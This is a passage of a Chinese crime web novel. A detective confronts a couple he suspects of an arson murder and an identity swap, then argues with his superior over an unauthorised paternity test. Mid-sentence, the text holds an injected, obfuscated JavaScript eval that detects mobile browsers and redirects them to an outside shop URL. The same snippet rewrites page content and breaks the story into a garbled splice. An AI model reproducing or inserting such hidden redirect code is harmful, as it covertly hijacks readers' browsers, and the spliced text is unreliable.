严疏扯了扯嘴角,褪去了往日刻意营造的熟络,语气冷硬地接话:“堆不下?有没有想过,是因为你......来者不拒?” 他的突然造访显然让迟昼受到了冲击,但只持续了一瞬,那张面具便仿佛自动展了开来,将他的神情彻底遮掩,只剩惯常的疏离与一丝不易察觉的烦躁:“不速之客,我很想拒绝。” 严疏今日无心与他周旋。他利落地掏出警官证,重现了下午面对宋晴时的程序:“案情已升级,与之前完全不同。现需就火灾案细节进行完整问询,请谨慎作答。今日的每一句话,未来都可能成为呈堂证供。本次问询将全程录音,确保程序合规。” 他紧盯迟昼骤然蹙紧的眉头,一字一顿道:“请知悉,若案件最终定性为刑案,今日的任何隐瞒或虚假陈述,都将构成包庇,承担相应法律后果。请问,是否明白?” 迟昼没有立刻回答,只是面容逐渐阴沉,沉默地与门外的严疏对视。 严疏岿然不动,以目光相迎。两人隔着一道门槛无声对峙,空气仿佛凝固,恍惚间又回到了那个清晨的出租屋。 僵持片刻后,迟昼忽然无声地勾起唇角,侧身让开通道,做了个“请”的手势:“明白。需要鞋套吗?” 紧绷的气氛因这个动作骤然松动,却更添暗涌。 严肃板着脸踏进门,利落地套上迟昼扔来的鞋套,目光扫过客厅。 映入眼帘的,是一桌刚备好的家常菜。不算丰盛,却透着烟火气的温暖。 这温馨景象,此刻却深深刺痛了他的眼。 严疏刻意避开那张散发着家常温暖的餐桌,径直走向客厅,在那张熟悉的椅子上落座后,才抬眼看向迟昼:“她呢?” ——不再是指名道姓的“简宁”,而是模凌两可的“她”。 迟昼敏锐地捕捉到了这个变化。 他缓缓在沙发坐下,心下已大致明了严疏的来意,只是不解对方为何突然就勘破了迷雾。迟昼原以为,在这个烂泥潭里沉浮挣扎的,只会有他一人。 “下班晚,马上回来。”他的语气听不出波澜。 话音未落,门锁应声而开。一道微哑却轻快的女声传来:“我回来啦。” 迟昼起身去迎,在玄关拐角处停下脚步,望向刚进门的女人。 女人脸上的笑容在触及他神色时缓缓收敛。属于他们的沉默,本就是万语千言的化身。 她微微颔首,俯身换鞋。待直起身时,笑意已然重新爬上唇角。 她步履轻快地走进客厅,看到严疏时恰到好处地流露出惊讶,一边走向饮水机一边说:“呀,严警官!稀客啊!” 与她行云流水的自然相比,严疏反而显得格外僵硬。他缓缓转头,目光沉沉地落在她身上。 她正半弯着腰接水,发丝似乎长了些,又或许只是精心打理过,在脑后松松束成一束。由于浓密的发量或下班后的疏于打理,此刻仍有许多碎发垂落颊边,凌乱中更添几分柔和清秀。 直到她将两杯水放在茶几上,严疏都始终没有任何动作,只是静静地、审视般地观察着她,仿佛在重新解构一个熟悉的陌生人。 简宁将一杯水推至严疏面前,自己捧着另一杯在沙发落座,慵懒地靠进沙发。她抿了口水,以眼神投去询问。 严疏示意迟昼也坐下,随后将椅子向前挪动,直面二人,将那段程式化的告诫再次复述。末了,他紧盯简宁,加重了语气:“是否明白?” 自他开口,简宁便握着水杯静止不动,但整个人的姿态依旧松弛如常,与一个刚结束整日奔波、渴望归家安宁的人别无二致。 她唇边始终噙着若有似无的浅浅笑意,安静聆听着严疏的警告,既没有骤然色变,也没有出言打断,只是微微偏着头,仿佛不解此事与己何干。 “明白,我们一定配合。”她恳切地回应,随后目光扫过餐桌,“那我们开始吧,严警官。菜......都快凉了。” 严疏眯起眼睛打量着她,片刻后从喉间挤出一声意味不明的冷哼。他掏出手机,点开录音。 “好啊,那我们开始。” ———————————— “今年7月8号晚上十点之后,你们在哪里,在做什么?” 迟昼刚要启唇,简宁却抢先一步,语气带着恰到好处的无奈:“我和你说过了呀。” 严疏的面色骤然沉下,声音中带上了不容置疑的强硬:“现在是我在问话,你们只需要回答。配合,明白吗?” 他的五官本就冷硬,此刻更像是彻底卸下了所有伪装。平日那强装的和善与笨拙的圆滑尽数褪去,露出了内里淬火的骨。 面对这个始终滴水不漏的女人,他有点演不下去了。 简宁微微怔住,似乎没料到他突然的转变。但随即她便平静下来,缓缓掀起眼帘,迎上了他冰冷锐利的目光。 女人唇边的笑意依旧,可微眯的眼中却仿佛有某种东西开始沉淀,化作一种同样审视的冷光——像是第一次,真正看向了眼前这个人。 在那目光的注视下,“狂妄”二字再次不受控制地撞击着严疏的神经。怒火灼烧着他的理智,连呼吸都变得粗重。 “那天晚上楚谕约我去酒吧,”迟昼的声音打破了这危险的凝滞,“我到的时候她还没来,就在里面等。后来另一边吵起来了,过去一看,是她和宋晴。”他用下巴指了指简宁,语调平稳得像在复述别人的故事:“我去劝架,但里面太吵,就想先把她们带到外面。那小姑娘一路叫嚷,我可能语气重了吓到她了,她突然掏出个手电一样的东西,应该是冲我来,但我躲开了,就误伤了她。” 严疏一反常态地没有记录,只是静坐原地,冰冷的视线钉在迟昼脸上。待他话音落下,才开口追问:“酒吧门口的争执,大概是几点?” “记不清了,十一点左右吧。” 严疏不置可否,目光转向简宁。 见他望来,她弯唇一笑,从容接上:“我看见了楚谕发给他的信息,那天是跟着他出门的,但跟丢了,就自己去了酒吧。刚进去就遇见宋晴,她把我错认成了楚谕,跟我拉拉扯扯。后来迟昼过来把我们带出去,我走在前面,不知道后面发生了什么,觉得脖子一麻就晕了,再醒来已经在楚谕车上了。” 如同刚才一般,严疏依旧没有动笔,只是冷冷地、沉默地注视着她。 简宁却不甚在意,说完后端起水杯轻啜一口,重新向后靠进沙发,甚至交叠起双腿。她目光不经意地下垂,扫过严疏环抱胸前的手臂,微微眯起了眼—— 指甲因过度用力而泛白,显然正死死掐着自己的胳膊。 她再次举起水杯,借着氤氲的热气,掩去了唇边一抹难以察觉的、带着了然的弧度。 严疏的提问机械般继续:“说一下楚谕出现后,你们各自的行程。” 迟昼平静地接过话:“她被电晕后,那姑娘就跑了。我本想送她去医院,刚背起来就接到楚谕的电话,说她已经到了,我就把人安置在楚谕车里,和她简单说了情况。楚谕不想报警,担心在她未婚夫那不好解释,也怕给那姑娘留下案底。我看她呼吸平稳,没什么事,就同意了。之后楚谕开车带她离开——我起初是反对的,但楚谕说有些话要单独和她谈。考虑到她不知道什么时候能醒,加上我当时的住处条件一般,去楚谕那里确实更合适。” 这番平静无波的叙述像细密的针,一下下刺在严疏紧绷的神经上。从迟昼开口起,他就在暗自深呼吸,告诫自己保持冷静。可此刻,他终究没能压住胸腔里翻涌的怒火,发出一声冷笑,语气里满是讥讽:“楚谕说不报警,你就不报?你看她没事,她就真没事?” 这尖锐的质问,已完全超出问询应有的中立。 迟昼却毫无反应,只是面无表情地凝视着茶几上的水杯。 一片寂静中,严疏甚至能听见自己激烈的心跳和粗重的呼吸。就在这时,一声轻笑悠然响起,带着说不清的意味: “严警官,不必打抱不平。我......并不介意。” “崩——” 严疏清晰地听见脑中那根弦断裂的声音。 他猛地起身,椅子在剧烈动作下轰然倒地。脊背因愤怒而挺直,手指直指窝在沙发里的女人,声音因压抑而颤抖:“你————” 沙发上的两人却与他的爆裂截然相反。迟昼始终面无表情,仿佛戴着一张禁锢了所有情绪的面具;而简宁唇角仍噙着那抹浅笑,捧着空玻璃杯,歪头打量着站在客厅中央的严疏,像在欣赏一场即兴表演。 这一刻,严疏觉得自己像极了斗兽场里的公牛——迟昼是兴致缺缺的看客,而那个姿态慵懒的女人,正是挥舞红布、肆意挑衅的斗士。 爆发的情绪在顷刻宣泄后如潮水般退去。理智开始回笼,一阵寒意顺着脊椎爬升。 红布的挥舞,本就是为了激怒公牛。 抬起的手臂缓缓垂下。他仍立在客厅中央,先前凌厉的气势却已消散。 就在他头脑一片混乱之际,简宁眼中的嘲讽渐渐隐去,唇边的笑意冷却,声音低沉下来,带着明显的不悦:“严警官,这是什么意思?” 她看着严疏紧绷的身躯,扬起嘴角:“这就是你们警方,调查取证的态度?” 迟昼闻言抬眼看了看她,却终究沉默。 严疏的理智如冷水浇头般骤然回笼。 他意识到自己冲动了。原本通过宋朗的录音,他已掌握了关键案情,此刻却因一时激愤而彻底暴露。这一闹,不仅打草惊蛇,更可能将本就稀缺的线索彻底断送。 简直是个恶性循环。他在心底狠狠咒骂,却知覆水难收。 事实上,这场对峙从一开始,就注定了他的败局。 一丝自嘲浮上心头——动辄以十几年老刑警自居,近来虽得了表彰,说到底却还是个没经历过真正大案要案的平庸角色。过去总怨时运不济,现在才明白,那不过是最浅层的原因。 他缓缓抬眸,望向沙发上的女人。 对方也正静静回视。那双原本形状柔和暧昧的桃花眼,在微微眯起后竟勾勒出了几分丹凤轮廓,清冷而疏离。 严疏缓缓点头,喉间溢出几声苦笑:“行,你行,你俩行。” 疑罪从无。即便他心知肚明眼前之人就是真凶,却依然束手无策。此时此刻,这四个字......几乎将人逼疯。 自从窥见真相那一刻起,愤怒就如暗火般在胸中燃烧,连他自己都未曾察觉。但此刻,那团火却忽然熄了,只剩一片无力的酸涩。 但那无力感只持续了一瞬。严疏迅速调整呼吸,从怀中取出那张地库监控的截图,声音沉了下去:“见过这个人吗?是个代驾,姓何。” 女人依旧含笑望着他,甚至懒得瞥向照片,仿佛要看他如何转圜。 僵局中,仍是迟昼率先打破沉默。他抬头端详照片片刻,最终平静地摇头:“不认识。” 严疏紧盯着他的脸,却愣是找不出一丝破绽。 他深吸一口气,终于意识到自己犯了个根本性的错误——宋晴,根本无法与眼前这两人相提并论。 宋晴不过是个被宠坏的孩子,表面虚张声势,实则一触即溃。而眼前这两个从荒芜童年中挣扎而出的、已是遍体鳞伤的人,恐怕早将“善”字从骨血之中剥离。此刻他们并肩坐在对面,沉默如铁,却仿佛筑起了无法穿透的铜墙铁壁。 没有情感、没有破绽,唯有扭曲的忠诚,与病态的共生。 这一刻,严疏觉得自己真正直面了人性深处的晦涩。 他口袋里其实还装着一张证件照。原本他打算报复般将它狠狠摔在两人面前,作为最后的反击。但看着这两张神态各异却同样戴着完美假面的脸,他突然放弃了这番打算。 沉默地停止录音,他转身朝门口走去。指尖触到门把时,严疏终究还是没忍住,回头扔下一段看似随意的闲谈: “对了,我前阵子回河溪办案,碰见你和楚谕的小学同学了,是对双胞胎。”他慢慢脱下鞋套,语气近乎感慨:“他们说你小时候总被欺负,倒是楚谕......骨子里有股狠劲。” 他望向迟昼,声音里带着刻意的怜悯:“不过也难怪。摊上那样的爹妈,她要不狠,根本活不下来。我也想通了,你当年半夜跑进派出所,大概是又撞见她妈发病了吧。” 他拉开门,在即将踏出的瞬间轻飘飘地补了一句:“算了,都过去了。” 门缓缓合拢。在最后那道缝隙里,严疏忽然对上了一双死死盯着他的眼睛—— 光影将女人的脸割裂得异常惨白,瞳孔却在暗处显得格外黝黑,幽深如墨,如同深不见底的漩涡,陌生的令人心惊。 直到房门紧闭,严疏才猛然回神,意识到了那份陌生的源头。 方才那张脸上,不再有一丝笑容。 ********* 门“咔哒”一声合拢,将外界最后一丝声响彻底隔绝。室内陷入了粘稠的、令人窒息的寂静,仿佛连空气都停止了流动。两人仍陷在沙发里,久久未动。 半晌之后,简宁才放下杯子,若无其事地站起身向餐桌走去:“都凉了,我去热一下。” 迟昼看着她的背影,胸腔的郁闷仿佛迟迟散不去,沉默着什么也没说。 热锅、翻炒、摆盘的轻碰声陆续响起,却没有给空间增添多少温度。 直到半个多小时后,两人才再次坐回餐桌——饭菜已冒着水汽,可那份温馨的烟火气早就被一场不请自来的对峙消磨殆尽。 两人沉默地动着筷子,迟昼勉强用了一些,看简宁始终没有说话的意思,便终于开了口,声音有些艰涩:“他......应该知道些什么了。” 简宁夹菜的动作未停,只从喉间溢出一个模糊的音节:“嗯?” 迟昼放下筷子,叹息溢出胸腔,刚才面对严疏时的阴沉与漠然此刻全然散去,只剩深深的疲惫:“真要这样下去吗?” 简宁的动作终于顿了下来。她抬头看向迟昼,那双惯常漾着温柔的眼里此刻像是结了一层薄冰,冰下却有着看不分明的雾气:“不可以吗?” 迟昼怔怔地望着她的面庞,目光一寸寸描绘着她柔美的五官,最终停留在光滑的眼角。那神情怅然迷惘,却终究没再说什么。 简宁也轻轻放下碗筷,盯着桌上的水杯许久,才忽然道:“你觉得,他为什么突然过来?” 迟昼缓缓摇头,分不清是不知道,还是不愿回答。 女人的声音仍然轻轻的,却像浸了冰水,逐渐透出讥讽:“他是想来表态。这位严大警官......把自己想象成了恪守正义的英雄,觉得正和罪孽斗争呢,哈。” 迟昼维持着沉默,像一座被无形浪潮包围的孤岛。他不知该说什么,或者说,所有的言语在此时此刻,都显得苍白徒劳。 简宁却忽然转了话题,用筷子指了指洗手间门上的贴纸:“那个,能撕了吗?” 迟昼顺着她的动作看去——是大耳朵图图的动漫贴纸。那圆滚滚的笑脸,带着一种未经世事的、傻气的快乐。 他凝视了几秒,喉结轻轻滚动,最终只吐出一个字:“好。” 他站起身走到门前,指尖掀起一角贴纸。撕下的贴纸被慢慢叠好,投进垃圾桶里。 一切做完,他脸上的疲惫更加清晰,像被突如其来的风吹散了力气,低声说:“我回房躺一会儿。” 简宁没动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352906|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍然坐在餐桌边。直到门被轻轻带上,她搭在膝上的指尖才几不可察地慢慢收紧,然后又缓缓地、一根根地松开。 过了很久,她才低头,看向垃圾桶中那个皱巴巴的纸团。 图图。天真,无忧,仿佛被全世界爱着。 她起初并不知道那贴纸画的是什么,为此还特意去查——可那句简单的歌词,却像在拿刀子剜她。 她可不是......那种孩子。 她从未被如此温柔地对待,也从未有人替她挡开世界的锋芒。 她的世界里,只有疼痛、伤痕、恐惧、紧锁的门窗,以及......一个疯子。那是连迟昼,都无法伸手的世界。 这些年,她曾一次次试图与过去割裂。 她离开了,她换了名字,她甚至有了未婚夫。 可命运似乎耐心得可怕。它总在最准确的时机,狠狠将她打回原形,强迫她看清—— 楚遇,自始至终......都是个无根无萍的笑话。 她与迟昼感情之深远超常人,但最开始,其实并未觉得一定要拥有他。 可最后的最后,还是走到了这绝望的一步。 她清楚自己做了什么,她原本也不想如此。但这,似乎已是与自己彻底割裂、又不至完全迷失的唯一方法。 ——疯子,最终教养出了新的疯子。 遗传与否,又有什么区别? 这是成功的繁衍,还是悲剧的延续? 女人低垂着眼,嘴角冷冷弯起。 无所谓了。不论如何,她获得了新生——哪怕它像曼陀罗一样,扎根于亡灵白骨之上。 迟昼心里那道由她亲手撕开的裂缝,她可以慢慢缝补。即便这共生的藤蔓扭曲盘结,她也能让它安稳地、温暖地生长下去。 可偏偏,有一个警察。 像一道甩不掉的阴影,始终徘徊在几步之外。即便无法真正逼近,却也令人烦躁不堪。 她能感受到迟昼内心的割裂与崩塌——每当触及这件事,他灵魂上的裂痕便更深一分。这些日子她悉心安抚、小心粘合,可严疏的再度出现,让她近来的所有努力瞬间付诸东流。 她不敢想,当那裂痕深至不可挽回之时,会发生何种质变。 她的阿昼......虽然随波逐流,却从来不缺孤勇的决绝——当年如此,如今亦然。 两个已被葬入火海的世界,仿佛正在伸出焦黑的臂膀,试图将她重新拖回。 女人垂下眼,手掌再次缓缓收紧,指节泛起无声的青白。 ———————————— 卧室门在身后合上,迟昼缓缓跌坐床沿,脑海中一片混沌的嗡鸣。 严疏的到来,在他心底掀开了一道刻意封存已久的裂隙——不是怒,不是惧,而是某种更深、更难以名状的震荡。 他无法厘清此刻的感受。 像一个人怀揣着不敢声张的期盼,日复一日地小心捂着,不敢深思,不敢久望——唯恐想得太过真切,就会暴露那份隐秘而滚烫的渴望。 可当这个被深埋的幻梦某天忽然成真,却并未带来预想中的喜悦,也没有如愿以偿的释然。 只有一瞬失重的茫然——像被重新扔回了当初那个怕失去、怕触碰、怕看清真相的旧梦。 然而现实更加冷硬。梦是软的,可以醒来;现实......却沾上了洗不净的暗红。 可即使如此,迟昼也清晰地知道——他绝不可能亲手打碎这染血的幻梦。他没有这个力气,也没有那个资格。 他可以狠心地抛弃一切盲目向前,也可以在窒息的悸动中无声萎缩,却唯独不能将眼前的一切亲手摧毁。 抛不开。放不下。打不碎。走不出。这是他们二人,最为真切地写照。 他像被困在一个漩涡的中央——越是挣扎,越是陷落;越是陷落,越是迷失。 迟昼缓缓抬起手,掩住自己的眼睛。 可有些东西,其实从未真正熄灭,只是在她的安抚中,被他一次次按下,一次次藏起。 随着生活的轨迹逐渐延伸,他本以为那些波动会慢慢沉底,如同尘埃落定,最终被岁月压得失去踪影。 但严疏目的性极强的再度出现,彻底撕裂了那层勉强缝合的平静。 愧疚与悔恨相继浮上,连带着一个他无法面对的,属于过往的身影。 他觉得自己再次失去了锚点,又开始了漫无目的的飘荡。 他甚至有些分不清自己究竟是站在现实里,还是仍旧身处梦中。他不知道自己究竟是在逃离,还是在靠近。 只是心底深处,又重新裂开。 这一次,不再有曾经那种诡异的甜,只剩下纯粹的、尖锐的痛楚,试图将他重新拖回那个溃裂的旧梦。 迟昼的喉咙发紧,眼眶干涩,发不出声音,只能任由这逐渐割裂的思绪把他扯向深处。 ———————————— 简宁收拾完桌子,关掉了厨房的灯。客厅沉入昏暗,只剩一盏壁灯吐着昏黄的光晕,将她的影子在地板上拉得修长、孤寂。 她在卧室门口驻足片刻,才无声地推开门。 迟昼仍坐在床沿,背脊弯成一道沉重的弧线,像是被无形的重量压垮,整个人几乎要融进身后的阴影。 她没有立刻靠近,只是倚着门框,在昏昧的光线中静静凝视着他。半晌,才挪动脚步缓缓靠近,在他身侧坐下。 她没有立刻开口,只是伸出手,指尖先是轻触,随后整个掌心缓缓贴合在他紧绷的肩头。温热的肌肤相触,她清晰地感觉到他整个人如同被电流穿过,猛地颤栗了一下。 她终于开了口:“阿昼。” 那声音温柔得如同夜风,却又带着一种近乎冷酷的穿透力,仿佛能精准地探入那濒临破碎的缝隙,将他从下坠的边缘强行拉回。 迟昼抬起头,撞进她的眼眸深处,呼吸乱了节拍。 女人抚上他的侧脸,指尖带着安抚的韵律,像在平息一场无声的风暴。她的语调柔和,字字清晰,带着令人沉沦的蛊惑:“我们已经长大了。终于可以......攥住自己的命了,不是吗?” 迟昼怔住。混沌的思绪让他丧失了辨析的能力,只能本能地跟随她的声音。 可这句话......他清晰地记得。在曾经的年月里,这是二人支撑下去的微光。 可此刻听来,却像从遥远梦境飘来的一缕回音,轻若鸿毛,又勒得他心脏生疼。 他抬眼看她,在那眉眼中仿佛找到了熟悉的痕迹——那个走在前方的背影,那个在便利店搬货的侧影,那个躺在河堤上望着星空的轮廓...... 可那些画面闪烁不定,总与另一些影像相互交叠、侵蚀——她全神贯注提着砖头的戒备,她随意坐在地上吃外卖的潦草,她兴致勃勃贴上卡通贴纸的天真...... 幻影与现实重叠,记忆的时间线仿佛已被打乱。爱与愧,如同两股反向的力,将他的灵魂生生扯向了两个极端。 他无法承受,猛地闭上眼,有些绝望地伸出手,将身边的人紧紧箍进怀里。 怀中的躯体温暖、柔软,散发着令他安心的气息,却也像一株缠绕而上的藤蔓,令人窒息。 女人依偎在他怀中,一手攀上他的后颈,指尖有一下没一下地轻抚,姿态亲昵,带着安抚,却又充满占有。 她当然能体察他的痛苦。但命运的轨道早在多年之前就已偏斜,带着摧毁一切的惯性呼啸向前,无法停下,不能停下。 她仰起脸,气息拂过他的耳廓,声音轻轻:“还记得......那个展板吗?” 迟昼的呼吸骤然一窒。 感受到环在腰际的手臂无声收紧,她顺势贴近,额头与他相抵,吐息交融间声音依旧轻柔,却带着不容置疑的坚定:“我们这样的人,生来拥有的就太少。想要争一条路走......就得从现实手里抢。” 她停顿片刻,忽然轻声问:“你还记得......那之前的事吗?” 迟昼怎么会忘。童年的烙印,向来最难褪色。 他缓缓将脑袋靠在她颈上,带着某种依赖,开口时声音嘶哑:“你问过我,为什么不反抗......我一直也没回答。你还......想听吗?” 女人唇角弯起温柔的弧度:“嗯。” 迟昼的目光飘向虚空,声音仿佛从时光深处传来,带着叹息:“其实,一点也不复杂......本质就是软弱而已。没有人拉着,我一步也迈不出去。” 女人没有说话,只是轻抚他后颈的手微微一顿。她静静注视着他,眼中带着近乎悲悯的温柔,像是在看一个被反复摔打,却始终学不会反抗的孩子。 迟昼的眼眶逐渐泛起潮湿:“就算有人拉着,我也还是那样。那么长的时间里,我能给的,其实也就是陪伴。我曾经觉得......那沉默也算某种无声的坚守,但现在回想,不过也是懦弱而已......” 他说不下去了,喉结艰难地滚动。这么多年过去,他发现自己依然被困在原点,从未真正改变,骨子里仍旧软弱。 女人俯下身,在他眉间落下一个轻柔的吻。随后她抬起眼,认真地直视他双眸,声音柔和却笃定:“阿昼,你从不软弱。因为你,楚遇......才得以存在。” 这个名字终于从她口中如此清晰地吐出,却让迟昼浑身一颤。 他忽然坠入了记忆的深渊,眼中闪过悲切的痛楚——无声,却足以将人彻底淹没。 他的少年时代始终软弱,唯有一次坚定地不曾退缩......却造成了至今无法愈合的伤口。 以及,对她永恒的愧疚。 看着他脆弱得不堪一击的神情,女人明白了他心中所想,却只是深深叹息,再未开口说些什么。 她慢慢直起身,将他向后推倒在床上,随即覆上去吻住他的唇,带着不容拒绝的温柔,既是安抚,也是引导,令人沉沦。 指尖从颈侧缓缓滑至胸口,隔着薄薄的衣料,能感受到他逐渐失控的心跳。 情欲如温热的潮水,缓慢而不可抗拒地淹没了所有思绪。理智被暂时麻痹,撕裂的灵魂获得了片刻喘息。 窗外的夜色浓重如墨,宛如无边的深渊。 迟昼仿佛就站在边缘,紧紧拥着怀中的人,像是要攫取最后一点温度,用最原始、最炽烈的方式,暂时逃离那些无法调和的阴影与割裂。 25. 贰拾伍 直到坐进车里,严疏才发觉自己的心脏依然在沉重地敲击胸腔。 脑海中挥之不去的,是方才门缝里捕捉到的那个眼神——并非只有被戳穿后的冰冷戒备,更深处,似乎还翻涌着一种近乎本能的厌恶,以及......某种难以名状的狠绝。 童年的烙印,果然深可见骨。 如此看来,旧事重提确实能扰动这个女人。可这波动如同投入深潭的石子,涟漪过后,水面依旧平静无波。要怎样,才能真正撕裂那完美无瑕的假面? 他下意识地摸烟,指尖却在触到烟盒时顿住。 一个被忽略的盲点突然亮起,劈开了思维的迷雾。 他怎么忘了“过去”!邹婷已逝,可楚怀平还活着!有他在,何需宋朗提供什么旧物? 这个念头让他浑身一凛。 只要一份亲子鉴定,证明楚怀平与“简宁”的父女关系,就足以对那具焦尸的身份认定发起冲击——整个案件将瞬间颠覆。 然而狂喜还未升起,一个更深的疑虑已然浮上心头——那个机关算尽、步步为营的女人,怎么会留下“楚怀平”这么大一个......活生生的漏洞? 她是曾对宋朗声称父母双亡,但楚怀平尚在人间这件事并不难查。如此浅显的谎言,可不像她这般心思缜密之人会留下的破绽。况且如果这个漏洞真的存在,那她费尽心机地在自己面前算计宋朗,又是为了什么? 她必定还有别的底牌。但究竟......是什么? 除此之外,严疏心中其实还盘踞着一个根本性的疑问——她的动机。 得到“简宁”这个身份,对她而言究竟有什么好处?为了迟昼吗?可迟昼对她早已是近乎盲目的顺从,即便她婚后要求维持不正当关系,他也未必拒绝,又何须如此铤而走险? 平心而论,若抛弃过去、只论当下,“楚谕”所拥有的,似乎远胜“简宁”——体面的工作单位、优渥的物质生活、背景显赫的夫家。一个几乎拥有了一切的“人上人”,为何会渴望“成为”一个平凡的普通人? 严疏皱眉思索片刻,始终不得其解,只好暂且搁置,将思绪转向了亲子鉴定的可行性。 最初的激动退去后,严疏很快意识到这个想法存在一个致命缺陷:程序不合法。 无论是“简宁”还是楚怀平,目前都并非任何可疑案件的调查对象,因此未经本人授权,警方无权采集生物样本进行比对。即便他私下行动并拿到了证实父女关系的鉴定报告,在法律层面也属无效,不仅无法作为立案证据,还会换来一纸处分。 程序正义......这就是她的算计?妈的,懂得还不少。 严疏烦躁地点起烟,深深吸了一口。又是这种......明明触手可及,却被无形枷锁禁锢的、该死的无力感。 辛辣的烟雾涌入肺腑,让他混沌的思绪清晰了一瞬。一个念头忽然闪现——一直以来,他都太过执着于“立案”,好像忘了还有另一条路可走...... 不必立案。不必启动完整的刑事侦查。只要事实层面存在重大疑点,警方就可以启动另一个程序——初查。 一个本应葬身火海的女儿,如今却活生生地出现在鉴定报告上...... 即便这份报告在法律上无效,即便他不能合法地证明样本源自“简宁”而非楚怀平的其他子女,但用它来揭示火灾案中存在的重大疑点,已然足够。 疑点将被正式记录,初查程序随之启动,警方便有权对悦澜湾的火灾进行重新审视。 严疏承认这个女人心思缜密、手段狠绝。但洛卡德物质交换原理是不变的铁律——只要她行动过,就必然会在受害者及其周遭环境中留下痕迹,无论直接还是间接。 她的机关算尽,无非是让这些痕迹隐藏得更深,散布得更碎,让他这个被“走访”、“了解情况”等名义束缚了手脚的调查人员难以搜集而已。 可一旦启动初查......尽管调查权限和力度仍然远不及正式立案,但已足以复勘现场、调取深层监控、解封证物、比对残留物...... 严疏坚信,无论她采用了何种精妙手法,都必然会在系统的勘查下露出蛛丝马迹。 只要查到异常,便可正式立案。届时,在开动的执法机关面前,任何罪行都将无处遁形。 而她精心构筑的所有布局,都将彻底反转,成为证据链上最锋利的刃。 严疏的呼吸陡然急促起来。指间的烟已燃到尽头,灼热的刺痛感传来,他却浑然不觉。 这不再是空想,不再是无数次将他引向死路的猜测,而是一条清晰可见、可以步步推进的路径。 他感觉,自己终于抓住了那条一直隐藏在暗处的尾巴。 他猛地摁灭烟蒂,发动引擎,车辆利落地调头,朝着警局疾驰而去——他需要立刻向赵队汇报。 ———————————— 进了赵队办公室,严疏花了近两个小时,将调查结果、种种疑点以及那个大胆的‘替身’猜想逐一铺开。赵队同样是老刑警了,虽然恪守规章,但办案直觉仍没得说,随着他的叙述,指间的烟开始一根接一根,目光也从最初的平静无波,逐渐转为惊疑不定。 见他神色明显松动,严疏顺势提出了那个在车上构想的方案。然而出乎意料,赵队甚至没等他说完,便猛地一拍桌子站了起来,脸上满是难以置信:“老严!你魔怔了?” 严疏的话头被硬生生掐断,他一怔,试图辩解:“赵队,流程上这是可行的......” “你给我闭嘴!”赵队再次截断他的话,“你还有脸提流程?是,按规定,疑点证实后可以启动初查,但同样按规定,你未经许可私自采集公民生物样本做鉴定——可能够你直接卷铺盖走人!” 严疏愣住了。他常年在办案一线,对程序细则并不很熟,虽知此举违规,却未料到后果如此严重。 赵队见他沉默,以为他意识到了问题,语气稍缓:“说实话,照你刚才那个推测,说不定真能挖出东西。要真翻了案,确实是件大功,搞不好能得勋章。但你别忘了,咱们是警察!破案重要,依法破案更重要!还搞私下鉴定?亏你想得出来!” 训斥完,看着严疏铁青的脸色,赵队也意识到自己语气太重。其实他何尝不理解严疏?这人从一开始就顶着压力死咬不放,如今眼看真相浮出水面,却被自己人缚住了手脚,心里肯定憋屈。 他正想说几句安抚的话缓和气氛,却听见严疏的声音再次响起,低沉却异常坚定:“我想好了。就算革职,这事我也得办到底。” 那声音里的决绝,让赵队所有安慰的话都卡在了喉咙。他一时语塞,本想再骂几句,可看着严疏紧绷的下颌和灼人的目光,所有话语最终都化作一声长叹:“老严,这值得吗?” 严疏沉默着,没有回答。 但赵队已经知道了答案。他重重靠进椅背,眉头紧锁,心乱如麻。 严疏忽然再次开口:“赵队,我想求您一件事。” 赵队已经猜到了他的意图,胸口堵得发闷,又是一声深长的叹息。 “如果初查程序启动后有什么进展,麻烦您......以朋友的身份,闲聊时告诉我一声。成吗?” 赵队按着突突直跳的太阳穴,气极反笑:“老严,你这时候知道抖机灵了?还钻‘朋友’、‘闲聊’的空子?你记不记得自己是个刚受了表彰的刑警?真把自己当流氓了?” 严疏脸上没什么表情,声音却格外沉重:“表彰不重要,但我确实是个刑警。也正因如此——这件事才非做不可。” 看着他固执到底的执拗神情,赵队知道劝不住了,却还是忍不住问:“就没别的办法了?那人......真有这么玄乎?找找那个简宁的亲属,证明她不是本人呢?” 严疏摇头:“如果当时做了尸检,或许还有别的出路,但现在......几乎就是死无对证。至于证明她并非本人......就算成了,也只是一桩可有可无的民事案件,没法和任何已有的案件关联,更扯不到这场火灾上。” 赵队沉默了。 民事案件,尤其是根据现场痕迹认定为意外的,法医只会做基础体表检验,判断有无明显外伤或非自然痕迹,根本不会像对待刑案尸体那样,进行系统的解剖与毒化分析。 而当初,那具焦尸的表面看不出任何异常——或者说,即便曾经有过什么,也早被烈火烧成了黑炭。如果当时就能解剖,检测呼吸道烟尘、血液碳氧、血红蛋白......或许真能发现异常。可一场看似毫无疑点的意外,又怎么可能启动那样深入的检查? 这本是再正常不过的标准流程,无可指摘。但这一次,程序的缝隙,却几乎成了罪行的帮凶。 是严疏,硬是从灰烬里扒出了一桩几乎被完美掩埋的凶案。可现在,如果他继续,等着他的......不会是功勋,而是处分文件,甚至是革职文书。 想到这里赵队只觉满心疲惫,长长地、深深地叹了一口气,感觉自己今天叹的气比过去一个月还多。枯坐良久,他终于微微颔首,抬手挥了挥。 严疏沉默地起身,理了一下并不凌乱的衣襟,面向赵队,挺直脊背,敬了一个标准而郑重的礼。随后他转身,步履坚定地推门离去,没有一丝迟疑。 办公室的门在他身后轻轻合拢,也隔断了赵队那复杂而深沉的目光。 ———————————— 严疏从办公室出来,大步流星地朝外走,却在走廊拐角处差点与一人撞个满怀。 他点头致歉,正要侧身离开,却被对方喊住:“严哥!” 他回头,发现是曾帮他寻找代驾的年轻刑警李涵。 此刻李涵眼中闪着异样的光,先前那种面对前辈的局促不安消失了大半,只是语气有些磕绊:“严哥,不好意思,我刚才路过赵队办公室......听见了些......” 